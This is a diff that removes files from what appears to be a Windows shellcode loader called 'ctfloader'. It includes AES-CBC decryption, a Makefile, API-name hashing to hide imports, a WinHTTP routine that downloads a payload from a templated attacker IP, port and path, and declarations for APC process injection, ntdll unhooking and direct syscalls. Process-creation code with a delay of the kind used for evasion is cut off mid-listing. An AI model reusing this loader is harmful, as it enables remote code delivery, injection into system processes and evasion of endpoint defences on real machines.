|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[24];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[25];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[26];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[27];
|
||||
// round 7
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[28];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[29];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[30];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[31];
|
||||
// round 8
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[32];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[33];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[34];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[35];
|
||||
// round 9
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[36];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[37];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[38];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[39];
|
||||
// Final round
|
||||
s0 = (Te4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
|
||||
s1 = (Te4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
|
||||
s2 = (Te4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
|
||||
s3 = (Te4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
|
||||
|
||||
// Output the result
|
||||
PUTU32(out_data + 0, s0);
|
||||
PUTU32(out_data + 4, s1);
|
||||
PUTU32(out_data + 8, s2);
|
||||
PUTU32(out_data + 12, s3);
|
||||
|
||||
ctx->iv[0] = s0;
|
||||
ctx->iv[1] = s1;
|
||||
ctx->iv[2] = s2;
|
||||
ctx->iv[3] = s3;
|
||||
}
|
||||
|
||||
static void AES_Decrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
|
||||
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
|
||||
|
||||
unsigned int temp[4];
|
||||
|
||||
s0 = GETU32(in_data + 0) ^ ctx->roundkey[0];
|
||||
s1 = GETU32(in_data + 4) ^ ctx->roundkey[1];
|
||||
s2 = GETU32(in_data + 8) ^ ctx->roundkey[2];
|
||||
s3 = GETU32(in_data + 12) ^ ctx->roundkey[3];
|
||||
|
||||
temp[0] = GETU32(in_data + 0);
|
||||
temp[1] = GETU32(in_data + 4);
|
||||
temp[2] = GETU32(in_data + 8);
|
||||
temp[3] = GETU32(in_data + 12);
|
||||
|
||||
// round 1
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[ 4];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[ 5];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[ 6];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[ 7];
|
||||
// round 2
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[ 8];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[ 9];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[10];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[11];
|
||||
// round 3
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[12];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[13];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[14];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[15];
|
||||
// round 4
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[16];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[17];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[18];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[19];
|
||||
// round 5
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[20];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[21];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[22];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[23];
|
||||
// round 6
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[24];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[25];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[26];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[27];
|
||||
// round 7
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[28];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[29];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[30];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[31];
|
||||
// round 8
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[32];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[33];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[34];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[35];
|
||||
// round 9
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[36];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[37];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[38];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[39];
|
||||
|
||||
// Final round 10
|
||||
s0 = (Td4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
|
||||
s1 = (Td4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
|
||||
s2 = (Td4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
|
||||
s3 = (Td4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
|
||||
|
||||
// Map the decrypted state to a byte array block
|
||||
PUTU32(out_data + 0, s0 ^ ctx->iv[0]);
|
||||
PUTU32(out_data + 4, s1 ^ ctx->iv[1]);
|
||||
PUTU32(out_data + 8, s2 ^ ctx->iv[2]);
|
||||
PUTU32(out_data + 12, s3 ^ ctx->iv[3]);
|
||||
|
||||
ctx->iv[0] = temp[0];
|
||||
ctx->iv[1] = temp[1];
|
||||
ctx->iv[2] = temp[2];
|
||||
ctx->iv[3] = temp[3];
|
||||
}
|
||||
|
||||
void AES_DecryptBuffer(AES_CTX* ctx, const unsigned char* in_data, unsigned char* out_data, size_t length) {
|
||||
// Ensure the input length is a multiple of AES_BLOCK_SIZE
|
||||
if (length % AES_BLOCK_SIZE != 0) {
|
||||
printf("[-] Error: Input length must be a multiple of %d\n", AES_BLOCK_SIZE);
|
||||
return;
|
||||
}
|
||||
|
||||
// Process each block
|
||||
for (size_t i = 0; i < length; i += AES_BLOCK_SIZE) {
|
||||
AES_Decrypt(ctx, in_data + i, out_data + i);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -1,86 +0,0 @@
|
||||
###############################################################################
|
||||
# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux
|
||||
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
|
||||
###############################################################################
|
||||
|
||||
# If on Windows/MSYS2, you might have "x86_64-w64-mingw32-clang"
|
||||
CLANG := C:\msys64\mingw64\bin\clang
|
||||
|
||||
# Build format selector
|
||||
# EXE is the default so existing scripts continue to work unchanged.
|
||||
# -----------------------------------------------------------------------------
|
||||
FORMAT ?= EXE # { EXE | DLL }
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 3. Source files
|
||||
# -----------------------------------------------------------------------------
|
||||
COMMON_SRCS := \
|
||||
api_hashing.c \
|
||||
download.c \
|
||||
inject.c \
|
||||
unhook.c \
|
||||
whispers.c
|
||||
|
||||
ifeq ($(FORMAT),DLL)
|
||||
MAIN_SRC := main_dll.c
|
||||
TARGET := ctfloader.dll
|
||||
else
|
||||
MAIN_SRC := main.c
|
||||
TARGET := ctfloader.exe
|
||||
endif
|
||||
|
||||
C_SRCS := $(COMMON_SRCS) $(MAIN_SRC)
|
||||
C_OBJS := $(C_SRCS:.c=.o)
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 4. Assembly helper (Whispers)
|
||||
# -----------------------------------------------------------------------------
|
||||
ASM_SRC := whispers-asm.x64.asm
|
||||
ASM_OBJ := whispers-asm.o
|
||||
ASFLAGS := -f win64
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 5. Flags
|
||||
# -----------------------------------------------------------------------------
|
||||
CFLAGS_BASE := -O2 -Wall -w -static
|
||||
LDFLAGS := -Wl,--disable-auto-import -s
|
||||
LIBS := -lwinhttp -lntdll
|
||||
|
||||
# DLL nuances: strip -static and add /shared linker options
|
||||
ifeq ($(FORMAT),DLL)
|
||||
CFLAGS := $(filter-out -static,$(CFLAGS_BASE)) -DCTF_AS_DLL
|
||||
LDFLAGS += -shared -Wl,--out-implib,libctfloader.a
|
||||
else
|
||||
CFLAGS := $(CFLAGS_BASE)
|
||||
endif
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 6. Phony targets
|
||||
# -----------------------------------------------------------------------------
|
||||
.PHONY: all exe dll clean
|
||||
|
||||
all: $(TARGET)
|
||||
|
||||
exe:
|
||||
$(MAKE) FORMAT=EXE
|
||||
|
||||
dll:
|
||||
$(MAKE) FORMAT=DLL
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 7. Linking & compilation rules
|
||||
# -----------------------------------------------------------------------------
|
||||
$(TARGET): $(C_OBJS) $(ASM_OBJ)
|
||||
$(CLANG) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS)
|
||||
|
||||
%.o: %.c
|
||||
$(CLANG) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(ASM_OBJ): $(ASM_SRC)
|
||||
nasm $(ASFLAGS) $< -o $@
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 8. House‑keeping
|
||||
# -----------------------------------------------------------------------------
|
||||
clean:
|
||||
rm -f *.o *.obj $(TARGET) libctfloader.a
|
||||
@@ -1,104 +0,0 @@
|
||||
/*
|
||||
|
||||
Authors: - @ MaldevAcademy - https://maldevacademy.com
|
||||
- @ VX-Underground - https://vx-underground.org
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "structs.h"
|
||||
#include "functions.h"
|
||||
|
||||
DWORD HashStringDjb2A(PCHAR String)
|
||||
{
|
||||
ULONG Hash = INITIAL_HASH;
|
||||
INT c;
|
||||
|
||||
while (c = *String++)
|
||||
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {
|
||||
|
||||
if (hModule == NULL || dwApiNameHash == NULL)
|
||||
return NULL;
|
||||
|
||||
PBYTE pBase = (PBYTE)hModule;
|
||||
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
|
||||
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
|
||||
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
|
||||
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
|
||||
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
|
||||
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
|
||||
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
|
||||
// Hashing every function name pFunctionName
|
||||
// If both hashes are equal then we found the function we want
|
||||
if (dwApiNameHash == HASHA(pFunctionName)) {
|
||||
return pFunctionAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {
|
||||
|
||||
if (dwModuleNameHash == NULL)
|
||||
return NULL;
|
||||
|
||||
#ifdef _WIN64
|
||||
PPEB pPeb = (PEB*)(__readgsqword(0x60));
|
||||
#elif _WIN32
|
||||
PPEB pPeb = (PEB*)(__readfsdword(0x30));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
|
||||
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
|
||||
|
||||
while (pDte) {
|
||||
|
||||
if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) {
|
||||
|
||||
// converting `FullDllName.Buffer` to upper case string
|
||||
CHAR UpperCaseDllName[MAX_PATH];
|
||||
|
||||
DWORD i = 0;
|
||||
while (pDte->FullDllName.Buffer[i]) {
|
||||
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
|
||||
i++;
|
||||
}
|
||||
UpperCaseDllName[i] = '\0';
|
||||
|
||||
// hashing `UpperCaseDllName` and comparing the hash value to that's of the input `dwModuleNameHash`
|
||||
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
|
||||
return pDte->Reserved2[0];
|
||||
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
|
||||
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -1,140 +0,0 @@
|
||||
/*
|
||||
|
||||
Author: @ MochaByte
|
||||
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <Windows.h>
|
||||
#include <winhttp.h>
|
||||
|
||||
#include "functions.h"
|
||||
|
||||
#pragma comment(lib, "winhttp.lib")
|
||||
|
||||
#define IP L"#-IP_VALUE-#" // Changable
|
||||
#define PORT #-PORT_VALUE-# // Changable
|
||||
#define PATH L"#-PATH_VALUE-#" // Changable
|
||||
|
||||
|
||||
BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
|
||||
|
||||
LPCWSTR path = PATH;
|
||||
DWORD dwSize = 0,
|
||||
dwTotalSize = 0,
|
||||
dwDownloaded = 0;
|
||||
LPSTR pszOutBuffer = NULL;
|
||||
BOOL bState = FALSE;
|
||||
HINTERNET hSession = NULL,
|
||||
hConnect = NULL,
|
||||
hRequest = NULL;
|
||||
|
||||
// First opening an internet session
|
||||
hSession = WinHttpOpen(
|
||||
L"Mozilla/5.0 (Windows; U; Windows NT 10.3;; en-US) AppleWebKit/536.34 (KHTML, like Gecko) Chrome/47.0.3601.371 Safari/536",
|
||||
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS,
|
||||
0
|
||||
);
|
||||
|
||||
// Checking if it was successfull
|
||||
if (hSession == NULL) {
|
||||
|
||||
printf("[-] Internet session could not be initialized.\n");
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Defining the target server with the earlier defined session
|
||||
hConnect = WinHttpConnect(hSession, IP, PORT, 0);
|
||||
|
||||
// Checking if its ok
|
||||
if (hConnect == NULL) {
|
||||
|
||||
printf("[-] Could not connect to the target server: %d\n", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Creating the HTTP request
|
||||
hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_ESCAPE_DISABLE);
|
||||
|
||||
// Checking again
|
||||
if (hRequest == NULL) {
|
||||
|
||||
printf("[-] Failed to create the request: %d\n", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Firing the request !!
|
||||
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
|
||||
|
||||
printf("[-] Failed to send the request: %d\n", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Wait for the response
|
||||
if (!WinHttpReceiveResponse(hRequest, 0)) {
|
||||
|
||||
printf("[-] Failed to receive the response: %d", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
do {
|
||||
|
||||
// Checking for available data
|
||||
dwSize = 0;
|
||||
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
|
||||
|
||||
printf("[-] Error checking the amount of data: %d", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Allocating the space to gather the data
|
||||
LPSTR tempBuffer = realloc(pszOutBuffer, dwTotalSize + dwSize + 1);
|
||||
|
||||
if (!tempBuffer) {
|
||||
|
||||
printf("[-] Out of memory: %d", GetLastError());
|
||||
goto _CleanUp;
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
pszOutBuffer = tempBuffer;
|
||||
|
||||
}
|
||||
|
||||
// Reading the data
|
||||
if (!WinHttpReadData(hRequest, (LPVOID)(pszOutBuffer + dwTotalSize), dwSize, &dwDownloaded)) {
|
||||
|
||||
printf("[-] Error reading the data: %d", GetLastError());
|
||||
goto _CleanUp;
|
||||
|
||||
}
|
||||
|
||||
dwTotalSize += dwDownloaded;
|
||||
|
||||
|
||||
} while (dwSize > 0);
|
||||
|
||||
// Saving the content into the "return variables"
|
||||
*pPayload = pszOutBuffer;
|
||||
*sSizeOfPayload = dwTotalSize;
|
||||
pszOutBuffer = NULL;
|
||||
bState = TRUE;
|
||||
|
||||
|
||||
_CleanUp:
|
||||
if (pszOutBuffer)
|
||||
free(pszOutBuffer);
|
||||
if (hRequest)
|
||||
WinHttpCloseHandle(hRequest);
|
||||
if (hConnect)
|
||||
WinHttpCloseHandle(hConnect);
|
||||
if (hSession)
|
||||
WinHttpCloseHandle(hSession);
|
||||
|
||||
return bState;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
// API Hashing Part
|
||||
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
|
||||
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
|
||||
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
|
||||
|
||||
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
|
||||
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
|
||||
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
|
||||
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
|
||||
|
||||
BOOL Unhook(LPVOID module);
|
||||
LPVOID MapNtdll();
|
||||
|
||||
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
|
||||
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
|
||||
@@ -1,97 +0,0 @@
|
||||
/*
|
||||
|
||||
Author: @ MaldevAcademy - https://maldevacademy.com
|
||||
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <Tlhelp32.h>
|
||||
|
||||
#include "functions.h"
|
||||
#include "whispers.h"
|
||||
|
||||
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
|
||||
|
||||
CHAR lpPath[MAX_PATH * 2];
|
||||
CHAR WnDr[MAX_PATH];
|
||||
|
||||
STARTUPINFO Si = { 0 };
|
||||
PROCESS_INFORMATION Pi = { 0 };
|
||||
|
||||
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
|
||||
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
Si.cb = sizeof(STARTUPINFO);
|
||||
|
||||
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH))
|
||||
return FALSE;
|
||||
|
||||
// Creating the target process path
|
||||
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
|
||||
|
||||
// API Hashing
|
||||
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
|
||||
|
||||
Sleep(15000);
|
||||
if(!cCPAu(
|
||||
NULL,
|
||||
lpPath,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
DEBUG_PROCESS, // Instead of CREATE_SUSPENDED
|
||||
NULL,
|
||||
NULL,
|
||||
&Si,
|
